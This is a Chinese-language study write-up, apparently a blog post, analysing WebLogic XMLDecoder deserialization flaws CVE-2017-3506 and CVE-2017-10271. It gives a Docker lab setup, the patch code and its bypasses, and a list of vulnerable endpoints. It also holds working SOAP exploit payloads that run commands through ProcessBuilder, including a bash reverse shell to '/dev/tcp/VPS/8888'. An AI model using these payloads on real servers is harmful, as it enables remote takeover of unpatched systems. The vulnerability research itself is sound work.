前言
做题的时候碰到XMLDecoder相关的反序列化,这里顺便学习一波因为环境搭建问题一直拖了很久的WebLogic反序列化。这里提供两个参考
建议先跟一遍手动搭建的流程再去看自动搭建的比较好理解
WebLogic 是美国Oracle公司出品的一个 application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic 是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将 Java 的动态功能和 Java Enterprise 标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
XMLDecoder流程浅析
主要参考:https://xz.aliyun.com/t/5069和https://paper.seebug.org/1012/
官方文档:https://www.oracle.com/technical-resources/articles/java/persistence3.html
看了@fnmsd师傅写的文章,然后跟了一下,同时复现了一下文章中的三个POC。
注意,JDK6之前的解析方式和JDK7之后的解析方式不同,在后面的漏洞POC中会提到。以下分析基于JDK7及以上,所有类都在com.sun.beans.decoder包中。
简单语法
可以参考:
https://www.oracle.com/technical-resources/articles/java/persistence3.html
http://www.docjar.com/docs/api/com/sun/beans/decoder/StringElementHandler.html
XML语法使用以下约定:
- 每个元素代表一个方法调用。
- “object”标记表示一个表达式,其值将用作封闭元素的参数。
- “void”标记表示将执行的语句 ,但其结果不会用作封闭方法的参数。
- 包含元素的元素将这些元素用作参数,除非它们具有标记:“void”。
- 方法的名称由“method”属性表示。
- XML的标准“id”和“idref”属性用于引用先前的表达式 - 以便处理对象图中的圆形。
- “class”属性用于显式指定静态方法或构造函数的目标; 它的值是类的完全限定名称。
- 如果没有“class”属性定义目标,则使用外部上下文作为目标执行具有“void”标记的元素。
- Java的String类是专门处理的,写成
<string> Hello,world </ string>
,其中字符串的字符使用UTF-8字符编码转换为字节。
尽管可以仅使用这三个标记来编写所有对象图,但是包含以下定义,以便可以更简洁地表达公共数据结构:
- 默认方法名称为“new”。
- 对java类的引用以
<class> javax.swing.JButton </ class>
的形式编写。
- 使用基元类型的名称作为标记来编写Java基元类型的包装类的实例。 例如,可以编写
Integer
类的实例:<int> 123 </ int>
。 请注意, XMLEncoder
类使用Java的反射包,其中Java的基元类型与其关联的“包装类”之间的转换是在内部处理的。 XMLEncoder
类的API本身仅涉及Object
。
- 在表示名称以“get”开头的nullary方法的元素中,“method”属性被替换为“property”属性,其属性值通过删除“get”前缀并对结果进行decapitalizing来给出。
- 在表示名称以“set”开头的monadic方法的元素中,“method”属性被替换为“property”属性,其属性值通过删除“set”前缀并对结果进行decapitalizing来给出。
- 在表示名为“get”的方法的元素中,取一个整数参数,“method”属性将替换为“index”属性,其值为第一个参数的值。
- 在表示名为“set”的方法的元素中,该方法采用两个参数,第一个是整数,“method”属性替换为“index”属性,其值为第一个参数的值。
- 使用“array”标记写入对数组的引用。 “class”和“length”属性分别指定数组的子类型及其长度。
关键解析类
DocumentHandler
DocumentHandler继承自DefaultHandler,DefaultHandler是使用SAX进行XML解析的默认Handler,所以Weblogic在对XML对象进行validate的时候也使用了SAX。在DocumentHandler中我们可以得知SAX支持解析的XML标签
ElementHandler及继承类
XMLDecoder对每种支持的标签都实现了一个继承于ElementHandler的类,就是上面DocumentHandler中定义的,各个Handler类的继承关系如下,分析继承关系能够理解标签的一些替换关系,方便后面漏洞绕过的理解。下图摘自@fnmsd师傅文章
关键解析函数
这一部分建议自己跟一下SAX的解析过程再来看@fnmsd师傅总结的,这样比较可能会看懂
https://xz.aliyun.com/t/5069#toc-5
解析流程图
这一部分还是搬的@fnmsd师傅的
调试WebLogic
启动weblogic
- 根据QAX team的项目运行一下命令构建一个
weblogic:1.0.36 | jdk:6u25
的环境
1
| docker build --build-arg JDK_PKG=jdk-6u25-linux-x64.bin --build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1035jdk6u25 .
|
1
| docker run -d -p 7001:7001 -p 60364:8453 -p 5556:5556 --name weblogic1036jdk6u25 weblogic1036jdk6u25
|
- 访问本地
http://localhost:7001/console/login/LoginForm.jsp
进入登录控制台,以weblogic:qaxateam01
进入后台
- 如果要远程调试,利用以下命令把weblogic调试所需要的包复制出来
1 2
| docker cp weblogic1036jdk6u25:/u01/app/oracle/middleware/modules ./middleware/ docker cp weblogic1036jdk6u25:/u01/app/oracle/middleware/wlserver ./middleware/
|
以上过程可以直接利用run_weblogic1036jdk6u25.sh
这个脚本直接构建镜像并复制所需要的包到项目目录的middleware
下,或者自己修改一下部署脚本复制到想要的目录下
IDEA调试
一般调试中间件的步骤
- 找到开启他们远程调试的方法,一般是在启动脚本中某个debug参数进行修改
- 保证外部开启这个容器的对应端口和对应环境
- 本地IDEA:在一个项目中将容器内的相关jar包都拷贝出来作为libraries
- IDEA配置远程调试IVM信息,打上断点连接remote JVM
由于我们使用的是docker构建的weblogic,所以是远程调试,按照上面的步骤配置一下
- 开启weblogic调试端口,默认为8453:
1 2 3 4
| /u01/app/oracle/Domains/ExampleSilentWTDomain/bin/setDomainEnv.sh文件添加(用上面项目搭建的话已经默认添加了):
debugFlag="true" export debugFlag
|
- docker端口映射
- 7001:7001 服务端口
- 本地端口:8453 调试端口。可以在IDEA的的weblogic服务器配置的startup/connection中配置
- IDEA配置服务器
- 导入需要调试的包
用sh脚本直接部署的,在项目的middleware目录下会有module
和wlserver/server/lib
两个包目录,直接导入即可
CVE-2017-3506
影响版本
- WebLogic 10.3.6.0.0
- WebLogic 12.1.3.0.0
- WebLogic 12.2.1.1.0
- WebLogic 12.2.1.2.0
POC
由于是docker里跑的,所以这里在/tmp目录下创建文件或者反弹shell代替弹计算机。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| POST /wls-wsat/CoordinatorPortType HTTP/1.1 Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action> <wsa:RelatesTo>xx</wsa:RelatesTo> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <object class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>touch /tmp/diggid</string> </void> </array> <void method="start"/> </object> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body> <asy:onAsyncDelivery/> </soapenv:Body> </soapenv:Envelope>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action> <wsa:RelatesTo>xx</wsa:RelatesTo> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <object class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>/bin/bash -i > /dev/tcp/VPS/8888 0<&1 2>&1</string> </void> </array> <void method="start"/> </object> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body> <asy:onAsyncDelivery/> </soapenv:Body> </soapenv:Envelope>
|
漏洞分析
该漏洞分析的方法采用的是根据漏洞补丁找到漏洞触发可能的入口点,然后进行动态调试分析。所以如果觉得一开始选择的入口点比较迷的话,可以先看看漏洞修复的部分。
Sink点: WorkContextXmlInputAdapter#readUTF
根据补丁定位到这里,观察一下该类的类视图结构,可以发现有很多readXxx方法,这些方法应该是用来解析传入的POST数据的,所以我们在每一个readXxx方法处都打上一个断点,然后调试,POC打一发,断点落在了readUTF
方法
可以看到直接调用了XMLDecoder#readObject()
,这里就是Sink,执行完该条语句即执行命令,在VPS上可以收到请求。
回溯一下调用栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| readUTF:111, WorkContextXmlInputAdapter (weblogic.wsee.workarea) readEntry:92, WorkContextEntryImpl (weblogic.workarea.spi) receiveRequest:179, WorkContextLocalMap (weblogic.workarea) receiveRequest:163, WorkContextMapImpl (weblogic.workarea) receive:71, WorkContextServerTube (weblogic.wsee.jaxws.workcontext) readHeaderOld:107, WorkContextTube (weblogic.wsee.jaxws.workcontext) processRequest:43, WorkContextServerTube (weblogic.wsee.jaxws.workcontext) __doRun:866, Fiber (com.sun.xml.ws.api.pipe) _doRun:815, Fiber (com.sun.xml.ws.api.pipe) doRun:778, Fiber (com.sun.xml.ws.api.pipe) runSync:680, Fiber (com.sun.xml.ws.api.pipe) process:403, WSEndpointImpl$2 (com.sun.xml.ws.server) handle:539, HttpAdapter$HttpToolkit (com.sun.xml.ws.transport.http) handle:253, HttpAdapter (com.sun.xml.ws.transport.http) handle:140, ServletAdapter (com.sun.xml.ws.transport.http.servlet) handle:171, WLSServletAdapter (weblogic.wsee.jaxws) run:708, HttpServletAdapter$AuthorizedInvoke (weblogic.wsee.jaxws) doAs:363, AuthenticatedSubject (weblogic.security.acl.internal) runAs:146, SecurityManager (weblogic.security.service) authenticatedInvoke:103, ServerSecurityHelper (weblogic.wsee.util) run:311, HttpServletAdapter$3 (weblogic.wsee.jaxws) post:336, HttpServletAdapter (weblogic.wsee.jaxws) doRequest:99, JAXWSServlet (weblogic.wsee.jaxws) service:99, AbstractAsyncServlet (weblogic.servlet.http) service:820, HttpServlet (javax.servlet.http) run:227, StubSecurityHelper$ServletServiceAction (weblogic.servlet.internal) invokeServlet:125, StubSecurityHelper (weblogic.servlet.internal) execute:301, ServletStubImpl (weblogic.servlet.internal) execute:184, ServletStubImpl (weblogic.servlet.internal) wrapRun:3732, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal) run:3696, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal) doAs:321, AuthenticatedSubject (weblogic.security.acl.internal) runAs:120, SecurityManager (weblogic.security.service) securedExecute:2273, WebAppServletContext (weblogic.servlet.internal) execute:2179, WebAppServletContext (weblogic.servlet.internal) run:1490, ServletRequestImpl (weblogic.servlet.internal) execute:256, ExecuteThread (weblogic.work) run:221, ExecuteThread (weblogic.work)
|
解析包起点: WorkContextServerTube#processRequest
根据调用栈进行回溯,在workcontext#processRequest
中可以看到几个变量
var1
为Packet,其content的值就是post正文的内容,
var2
为xml头部信息list,就是这一部分
1 2 3
| <soapenv:Header> ... </soapenv:Header>
|
1 2 3
| <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> ... </work:WorkContext>
|
继续跟进this.readHeaderOld(var3);
,经过var2.nextTag()
的解析处理,在outputstream流中写如了<java></java>
的部分,由var4
初始化为ByteArrayOutputStream得到,这一部分也就是前面说的XMLDecoder解析流程的主要payload部分。而var6
为var4
的封装,接着继续跟进this.receive(var6)
解析XML主要部分: WorkContextEntryImpl#readEntry
一直跟进到WorkContextEntryImpl#readEntry
。该方法是解析XML(<java>...</java>
)部分的主要逻辑,是readUTF方法的一个封装。紧接着调用readUTF中的this.xmlDecoder.readObject()
触发XMLDecoder反序列化触发payload。
漏洞修复
在文件weblogic/wsee/workarea/WorkContextXmlInputAdapter.java中添加了validate方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| private void validate(InputStream is) { WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try { SAXParser parser = factory.newSAXParser(); parser.parse(is, new DefaultHandler() { public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException { if(qName.equalsIgnoreCase("object")) { throw new IllegalStateException("Invalid context type: object"); } } }); } catch (ParserConfigurationException var5) { throw new IllegalStateException("Parser Exception", var5); } catch (SAXException var6) { throw new IllegalStateException("Parser Exception", var6); } catch (IOException var7) { throw new IllegalStateException("Parser Exception", var7); } }
|
可以看到上方的注释,简单来说就是在解析xml的过程中,如果Element字段值为Object就抛出异常,也就是说出现<object>
标签就会抛出异常。这种修复方式在一些由表达式解析导致的漏洞中经常出现,比如thymeleaf模板注入,其修复SpEL引擎的方式就是对T()、new
等危险操作进行黑名单过滤。所以有可能这种过滤是有缺陷的,这也就导致了后面的几个绕过。
CVE-2017-10271(10352)
影响版本
- WebLogic 10.3.6.0.0
- WebLogic 12.1.3.0.0
- WebLogic 12.2.1.1.0
- WebLogic 12.2.1.2.0
POC
1 2 3 4 5
| POST /wls-wsat/CoordinatorPortType HTTP/1.1
<object class="java.lang.ProcessBuilder"></object> 替换为 <void class="java.lang.ProcessBuilder"></void>
|
1 2 3 4 5 6
| POST /wls-wsat/CoordinatorPortType HTTP/1.1
<object class="java.lang.ProcessBuilder"></object> 替换为 <void class="java.lang.ProcessBuilder"></void> <new class="java.lang.ProcessBuilder"></new>
|
绕过分析
根据3506的修复和之前对于XMLDecoder流程的分析中可知:即使过滤了<object>
,还能够使用<new>
、<void>
标签来绕过。
这三个标签的共同点是都可以用于创建对象,三个是相互继承的关系,且关键的解析XML的方法没有被子类重写,在上文也分析了,因此三者是可以相互替换的
漏洞修复
修复和3506的套路一样,无非就是多加了几个黑名单标签:<object> <new> <void> <method> <array>
…
但是我们还需要捋一下这个过滤的逻辑,因为后面2725的绕过与此有关:不能使用<object> <new> <method>
标签,<void>
只能使用index属性、<array>
标签使用class属性时类型只能是byte数组且有长度限制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| private void validate(InputStream is) { WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory(); try { SAXParser parser = factory.newSAXParser(); parser.parse(is, new DefaultHandler() { private int overallarraylength = 0;
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException { if (qName.equalsIgnoreCase("object")) { throw new IllegalStateException("Invalid element qName:object"); } else if (qName.equalsIgnoreCase("new")) { throw new IllegalStateException("Invalid element qName:new"); } else if (qName.equalsIgnoreCase("method")) { throw new IllegalStateException("Invalid element qName:method"); } else { if (qName.equalsIgnoreCase("void")) { for (int attClass = 0; attClass < attributes.getLength(); ++attClass) { if (!"index".equalsIgnoreCase(attributes.getQName(attClass))) { throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass)); } } } if (qName.equalsIgnoreCase("array")) { String var9 = attributes.getValue("class"); if (var9 != null && !var9.equalsIgnoreCase("byte")) { throw new IllegalStateException("The value of class attribute is not valid for array element."); } } } } } } }
|
其他细节
漏洞触发URL不止一个
从wls-wsat.wra/web.xml中可以看出其中又八个servlet接口,都是使用同一个包(weblogic.wsee.wstx)处理,所以其中的8个接口均可利用,外加CVE-2019-2725爆出的未补丁接口,一共9个
1 2 3 4 5 6 7 8 9
| /wls-wsat/CoordinatorPortType /wls-wsat/RegistrationPortTypeRPC /wls-wsat/ParticipantPortType /wls-wsat/RegistrationRequesterPortType /wls-wsat/CoordinatorPortType11 /wls-wsat/RegistrationPortTypeRPC11 /wls-wsat/ParticipantPortType11 /wls-wsat/RegistrationRequesterPortType11 /_async/AsyncResponseService
|
10271的10.3.6.0.0不能使用new标签
因为10.3.6.0.0使用SAX解析XML的方式和之后的版本有所不同,其处理标签的handler主要是ObjectHandler。其中支持的标签类型没有new,因此不能使用new标签来绕过,但是其他版本使用com.sun.beans.decoder.DocumentHandler是可以的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| var4.setMethodName(var8); String var11; String var14; if (var1 == "string") { var4.setTarget(String.class); var4.setMethodName("new"); this.isString = true; } else if (this.isPrimitive(var1)) { Class var9 = typeNameToClass(var1); var4.setTarget(var9); var4.setMethodName("new"); this.parseCharCode(var1, var3); } else if (var1 == "class") { var4.setTarget(Class.class); var4.setMethodName("forName"); } else if (var1 == "null") { var4.setTarget(Object.class); var4.setMethodName("getSuperclass"); var4.setValue((Object)null); } else if (var1 == "void") { if (var4.getTarget() == null) { var4.setTarget(this.eval()); } } else if (var1 == "array") { var14 = (String)var3.get("class"); Class var10 = var14 == null ? Object.class : this.classForName2(var14); var11 = (String)var3.get("length"); if (var11 != null) { var4.setTarget(Array.class); var4.addArg(var10); var4.addArg(new Integer(var11)); } else { Class var12 = Array.newInstance(var10, 0).getClass(); var4.setTarget(var12); } } else if (var1 == "java") { var4.setValue(this.is); } else if (var1 != "object") { this.simulateException("Unrecognized opening tag: " + var1 + " " + this.attrsToString(var2)); return; }
|
为什么有两个CVE
其实10271和10352是一样的。原因是10271出来后,Oracle补丁没打好,然后10352又是同样的方式,白捡了。这也告诉我们,拿之前的POC打一下是有必要的(和XStream升级版本然后把之前的默认黑名单功能取消变为需要用户手动开启的操作有的一拼)
总结
这两个CVE是WebLogic-XMLDecoder反序列化漏洞的开篇,其主要是通过XML解析本身的问题导致的RCE。而CVE-2019-2725放在下一篇文章去分析的原因是:其触发的方式RCE的Sink点需要通过二次反序列化或JNDI注入等其他方式去实现,对环境是否可以外连也有一定的要求,并且涉及其他系列的反序列化漏洞,因此单拿一篇文章来分析。
参考
https://www.oracle.com/technical-resources/articles/java/persistence3.html
https://badcode.cc/2018/05/20/WebLogic-%E5%8A%A8%E6%80%81%E8%B0%83%E8%AF%95%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/
https://www.kingkk.com/2019/05/Weblogic-XMLDecoder%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/
https://xz.aliyun.com/t/1848
http://www.lmxspace.com/2019/06/05/Xmldecoder%E5%AD%A6%E4%B9%A0%E4%B9%8B%E8%B7%AF/
https://y4er.com/post/java-xmldecoder/
https://xz.aliyun.com/t/5069#toc-5
https://mp.weixin.qq.com/s?__biz=MzU0NzYzMzU0Mw==&mid=2247483722&idx=1&sn=46ae6dc8d24efd3abc5d43e7caec412a&chksm=fb4a21a2cc3da8b43a52bd08c8170723fb38ddab27c836dad67c053551dde68151839e330ce2&mpshare=1&scene=1&srcid=0430zsBdpZPJ1Qp7Cy46H8S4
https://paper.seebug.org/1316/#weblogicdocker
https://www.cnblogs.com/ph4nt0mer/p/11772709.html